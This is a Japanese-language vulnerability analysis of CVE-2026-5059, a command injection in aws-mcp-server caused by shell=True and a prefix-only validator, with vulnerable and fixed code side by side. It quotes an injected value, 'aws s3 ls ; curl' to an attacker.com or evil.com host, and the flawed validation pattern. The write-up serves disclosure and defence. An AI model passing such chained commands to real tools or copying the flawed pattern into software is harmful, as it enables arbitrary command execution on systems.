
CVE-2026-5059の概念実証。aws-mcp-serverにおけるshell=Trueおよび不完全な検証を介したコマンドインジェクションで、脆弱なコードと修正済みコードの分析を含む。
コードのどこに CVE-2026-5059 があるのか? この脆弱性は、連携して動作する2つのファイルに存在します:
ファイル1: tools.py — 根本原因 旧バージョンでは execute_piped_command() で shell=True を使用していました: python# OLD VULNERABLE CODE process = subprocess.run( command, # ← raw string passed to shell shell=True, # ← THIS is the problem ... ) shell=True の場合、OS のシェルが ;、&&、||、バッククォートを含む文字列全体を解釈するため、; の後にあるものはすべて別のコマンドとして実行されます。
ファイル2: security.py — 不完全なガード バリデータは、コマンドが aws で始まることだけをチェックしていました: python# OLD VULNERABLE CODE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← stops here, no check on what comes after the pipe そのため aws s3 ls ; curl http://attacker.com は検証を通過しました — aws で始まるためです — その後 shell=True が両方の部分を実行しました。
現在のバージョン (v1.7.0) が異なる理由 今日の実際のコードを見ると、両方の問題は解消されています: python# CURRENT CODE in cli_executor.py cmd_parts = shlex.split(command) # splits into a list subprocess.run(cmd_parts, shell=False) # list-based, no shell interpretation そして security.py は完全に削除されました — OS サンドボックス (Landlock/bwrap/Seatbelt) に置き換えられました。 ; は今では無害です: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess gets ';' as a literal argument to aws → AWS CLI ignores it, no second command runs
一行でのまとめ Vulnerable versionCurrent v1.7.0Executionshell=True + stringshell=False + listValidationstartswith("aws") onlyOS-level sandbox; handlingExecuted by shellTreated as literal text この CVE は旧バージョンに対して報告されました。ベンダーが報告を拒否したため、ZDI はこれを 0-day として公開しました — しかし、CVE が公開される前にアーキテクチャはすでに shell=True から離れていました。